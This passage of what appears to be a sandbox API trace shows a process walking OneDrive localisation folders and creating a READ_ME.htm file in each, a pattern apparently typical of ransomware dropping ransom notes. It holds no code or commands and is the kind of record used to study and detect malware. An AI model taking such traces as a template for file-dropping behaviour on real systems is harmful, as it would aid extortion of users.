dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.089] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1928b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1a59670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1a59670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.090] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1a59670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1a59670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1a59670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.090] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1a59670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1a59670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1a59670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.090] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ug-arab\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ug-arab\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.091] GetFileType (hFile=0x1d0) returned 0x1 [0146.092] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1a59670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1b8a170, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1b8a170, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.093] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1b8a170, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1b8a170, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1b8a170, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.093] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1b8a170, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1b8a170, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1b8a170, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.093] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1a59670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1b8a170, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1b8a170, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.093] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1b8a170, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1b8a170, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1b8a170, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.093] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1b8a170, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1b8a170, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1b8a170, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.094] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\uk\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\uk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.094] GetFileType (hFile=0x1d0) returned 0x1 [0146.097] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1b8a170, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1ce0dd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1ce0dd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.098] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1ce0dd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1ce0dd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1ce0dd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.098] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1ce0dd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1ce0dd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1ce0dd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1b8a170, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1ce0dd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1ce0dd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1ce0dd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1ce0dd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1ce0dd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1ce0dd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1ce0dd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1ce0dd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.100] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ur\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ur\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.100] GetFileType (hFile=0x1d0) returned 0x1 [0146.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1ce0dd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1e118d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1e118d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1e118d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1e118d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1e118d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1e118d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1e118d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1e118d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.103] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1ce0dd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1e118d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1e118d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.103] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1e118d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1e118d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1e118d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.103] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1e118d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1e118d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1e118d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.103] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\uz-latn-uz\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\uz-latn-uz\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.105] GetFileType (hFile=0x1d0) returned 0x1 [0146.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1e118d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1f423d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1f423d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1f423d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1f423d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1f423d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x132a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1f423d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1f423d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1f423d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x132a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1e118d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1f423d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1f423d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.108] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1f423d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1f423d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1f423d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x132a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.108] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1f423d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1f423d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1f423d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x132a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.108] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\vi\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\vi\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.109] GetFileType (hFile=0x1d0) returned 0x1 [0146.111] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1f423d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2072ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2072ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.113] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2072ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2072ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2072ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.113] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2072ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2072ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2072ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.114] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1f423d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2072ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2072ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.114] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2072ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2072ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2072ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.114] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2072ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2072ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2072ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.114] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\wo\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\wo\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.115] GetFileType (hFile=0x1d0) returned 0x1 [0146.116] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2072ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf21a39d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf21a39d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.117] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21a39d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf21a39d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf21c9b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.117] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21a39d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf21a39d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf21c9b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.117] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2072ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf21a39d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf21a39d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.117] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21a39d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf21a39d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf21c9b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21a39d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf21a39d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf21c9b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.118] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\xh-za\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\xh-za\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.119] GetFileType (hFile=0x1d0) returned 0x1 [0146.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf21c9b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2320790, 